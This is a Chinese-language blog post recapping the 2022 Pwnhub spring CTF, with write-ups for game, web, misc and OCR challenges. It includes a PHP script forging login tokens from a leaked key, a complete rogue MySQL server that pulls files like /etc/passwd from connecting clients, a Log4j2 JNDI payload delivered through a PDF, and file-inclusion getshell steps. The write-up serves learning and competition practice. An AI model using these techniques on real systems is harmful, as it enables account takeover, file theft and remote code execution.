长亭-运营仙子🧚‍♀️。
发布于 IP属地北京

【案例分享】2022Pwnhub春季赛相关体验及wp

前言

第一次参加Pwnhub举办的大型公开赛,体验良好。不愧是pwnhub,三个pwn到比赛结束就只有easyrop有四个解,膜拜pwn佬。前期比赛宣传的比较到位,pwnhub一直有举办公开月赛的传统,这次公开赛的规模更大,奖励也更加丰厚了。

比赛题目多种多样,各个方向的选手都能有题做,不只有传统的web、misc、crypto、re、pwn等,ACM、OCR、以及汇编等各种其他类型的题目都有涉及,甚至主办方还整了个网页版的传奇来玩,可以说是为了减少坐牢的枯燥而用心良苦了,希望各大线下比赛主办方都可以学习,题做不出来还能打打游戏(手动狗头)。

题目难度总体来说适中,pwn和misc偏难(长见识),种类多样的题目从多个方面考察了参赛选手的个人能力。

整个比赛流程下来,平台也十分流畅,靶机启动迅速,也没有限制靶机数量,后期靶机时间的限制也取消了,但美中不足的是,所有靶机都开放在同一个ip上,端口号可以遍历,再加上不是动态flag,这就可能导致蹭flag的情况出现

WriteUp

Gaming

头一次在ctf比赛中看到用flash游戏出的题目,感觉十分新奇,于是乎速速给我的虚拟机装上了flash,打开主办方开设的游戏。

game类题目有四个小题,最后一个题需要get服务器的shell,也算是半个web吧

1、v2-499adc3fd31764c6c7561284fdec7186_r.png

是兄弟就来砍我

注册账号,创建角色登录游戏后,就能看见公告栏里的flag,可以说是十分友好了

v2-3db592468d4fa5f5f313325fae2e412f_720w.webp

初入门径

下一步就是要购买题目中所说的1000元的宝召唤道具了

一开始我们没有元宝,但是可以去领绑定元宝,但绑定元宝和元宝不一样,需要先通过抽奖,将绑定元宝转化为元宝,再买召唤券

v2-d93b89c46251e19399d5f796a84f728d_720w.webp

打死召唤出来的怪物后会掉落flag之书1

v2-8081a7c77681ada479e306f8f77f6f8e_r.jpg

要注意爆出来的flag之书其他玩家也可以捡走的,别跟我一样被抢了flag,flag为flag{nonono_notmola}

源码

比赛后期主办方放出了服务器的源码,虽然经过了一些修改,但是也能从中审出一些洞

首先是任意账户登录,从log.php中,可以找到生成token用的key

v2-2c5939343bf9f83824bc5a2212c1692c_r.jpg.png

这样的话,我们知道任意用户的用户名,就可以登录他们的账户,注意游戏中的昵称和用户名可能并不相同

<?php
$name="rayi";
$time=time();
$key='jwjeDljl-sdlj213988WED^W9kjasdjlkoie2130942323';
$md5=md5($name.urlencode($name).$time.$key);
$url ='http://121.196.195.255:8593/app/cklogin.php?userid='.$name.'&username='.$name.'&time='.$time.'&flag='.$md5.'';
echo $url."\n";
?>

还有,在log.php这里讲道理应该是有注入的,但不知道为什么线上一直复现不成功

v2-c37a85c836d95d5feae35a6882b1d90b_720w.webp

web方面的其他洞没有再找出来,剩下getshell应该是需要对游戏服务器文件进行逆向了

Web

web总体考察的知识点比较新,难易结合

EzPDFParser

下载源码,看到pdf和这个log4j2的时候,我想起来之前log4j2火的时候,看到一个师傅的文章

ddosi.org/log4j-pdf/

v2-3aebea53366cfc6de812f02e07f71589_720w.webp

java写的pdf解析器在解析pdf的时候,可以通过报错触发log4j2

搭建恶意jndi服务器

github.com/Jeromeyoung/JNDIExploit-1

修改pdf文件

v2-b1ae1dfdf7536db6e5ae240469da1f91_720w.webp.png

直接上传这个pdf,就能触发

v2-ca0054c48e19ff4de1a96c81da65da4b_720w.webp.png

v2-10f671df27bb9e2ed5f27ff20ff66415_720w.webp

easyCMS

看到测试mysql是否联通,就能想到利用mysql进行读文件

v2-96ab28eb8162f912ef52461afd6be71a_720w.webp.png


Rogue-MySql-Server读文件,py脚本不好使,但用php的可以//

github.com/allyshka/Rogue-MySql-Serve


<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:2333");

while (true) {
  echo "Enter filename to get [$filename] > ";
  $newFilename = rtrim(fgets(STDIN), "\r\n");
  if (!empty($newFilename)) {
    $filename = $newFilename;
  }

  echo "[.] Waiting for connection on 0.0.0.0:3306\n";
  $s = stream_socket_accept($srv, -1, $peer);
  echo "[+] Connection from $peer - greet... ";
  fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 75
                    6e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 00
                    00 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 00
                    00 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 44
                    47 77 43 2a 43 56 63 72  00                     '));
  fread($s, 8192);
  echo "auth ok... ";
  fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));
  fread($s, 8192);
  echo "some shit ok... ";
  fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));
  fread($s, 8192);
  echo "want file... ";
  fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
  stream_socket_shutdown($s, STREAM_SHUT_WR);
  echo "\n";

  echo "[+] $filename from $peer:\n";

  $len = fread($s, 4);
  if(!empty($len)) {
    list (, $len) = unpack("V", $len);
    $len &= 0xffffff;
    while ($len > 0) {
      $chunk = fread($s, $len);
      $len -= strlen($chunk);
      echo $chunk;
    }
  }

  echo "\n\n";
  fclose($s);
}



image-20220423105608687

把能读出来的文件都读出来后,开始审代码

route.php中,$this->class的值是?s=xxx/【something】的后半段,可控,于是可以进行目录跨越和文件包含,但限定了包含的文件结尾是Tool.php


继续看源码,testTool一看就比较可疑,这里可以从指定目录写文件


于是乎,写shell


用自己的ip找到沙箱目录,再通过route.php包含,即可getshell


baby_flask

flask的模板渲染并不会随着文件更新而更新,需要对flask进行重启才能对模板重新渲染

/kill路由访问显示500,而且实际上并不会重启,在本地复现的时候也报错,搜一下才知道,这个函数在Werkzeug 2.0版本已经被移除了,服务器的版本是2.1.1

doc.codingdict.com/jinja2_29/api.html?highlight=cache_size


jinja2.8对于模板的渲染次数缓存限制默认为400,超过400个模板,就会将前面最少使用的模板清除

因此,我们只需要生成400个模板后,即可在缓存刷新的时候执行我们新写入的payload,看到flag



400个模板生成后,即可修改第一个模板,写入payload


然后触发


Misc

眼神得好

幸好我以前玩过裸眼3d,要不然题都做不出来了

zhihu.com/question/19739300

裸眼3d图有两种看法,一种是两眼失焦,一种是类似于斗鸡眼

这个题的图用第二种方法可以看出,是flag{nice_pwnhub}

裸眼3d图的制作原理就是将两张图重合,我们也可以用stegsolve将两张图分开,从而不用费眼睛的获取flag


扩展:
这个图可以用两眼失焦的方法看出漂浮的硬币


Other

签到

题目提示flag在其他页面,那我们就去其他页面找一找

在关于页面有个视频,封面有二维码,扫描就是flag

http://ctf.pwnhub.cn/about.html



words_check

本来以为是挺难的ocr,后来发现图片都挺好识别的,调用百度的接口就行,能做到100%的识别率

from urllib import response
import requests
import base64

url = "http://47.97.127.1:28583/"

def getToken():
    token_url = url + "/getToken"
    response = requests.get(token_url)
    return response.json()['data']['token']

def ocr(img_base64):
    # client_id 为官网获取的AK, client_secret 为官网获取的SK
    host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=【你的】&client_secret=【你的】'
    response = requests.get(host)
    token = response.json()['access_token']

    '''
    通用文字识别(高精度版)
    '''

    request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"

    params = {"image":img_base64}
    access_token = token
    request_url = request_url + "?access_token=" + access_token
    headers = {'content-type': 'application/x-www-form-urlencoded'}
    response = requests.post(request_url, data=params, headers=headers)
    return response.json()['words_result']

def getViolWords():
    words_url = url + "/getViolWords"
    response = requests.get(words_url)
    return response.json()['data']['violWords']
    
def getPic(token):
    pic_url = url + "/getPic"
    data = {"token":token}
    response = requests.post(pic_url,json=data)
    return response.json()['data']['words']['w1']

def checkWords(violWords,picWords):
    try:
        picWords = picWords[0]['words']
    except:
        pass
    print(picWords)
    for i in violWords:
        if i.replace(" ",'').strip() in picWords:
            return False
    return True

def submit(token,answer):
    submit_url = url + "/submits"
    data = {"token":token,"answer":answer}
    response = requests.post(submit_url,json=data)
    return response.json()

def getResult(token):
    result_url = url + "/getResult"
    data = {"token":token}
    response = requests.post(result_url,json=data)
    return response.json()['data']

def getFlag(token):
    flag_url = url + "/getFlag"
    data = {"token":token}
    response = requests.post(flag_url,json=data)
    return response.json()


token = getToken()
violWords = getViolWords()
for i in range(51):
    pic = getPic(token)
    picWords = ocr(pic)
    result = checkWords(violWords,picWords)
    print(result)
    print(submit(token,result))
    print(getResult(token))
print(getFlag(token))


image-20220424220043473

小结

比赛持续了36个小时,时间算比较长的,但某些种类题目数量似乎不是很多,例如web,akweb的队伍并不少,做完了三个题之后,我以为后期会上新题,但遗憾的是并没有。

总的来说比赛体验很好,也能通过赛题学到不少知识,希望pwnhub后期还能再举办类似的公开赛!

浏览 (526)
点赞 (1)
收藏
打赏
评论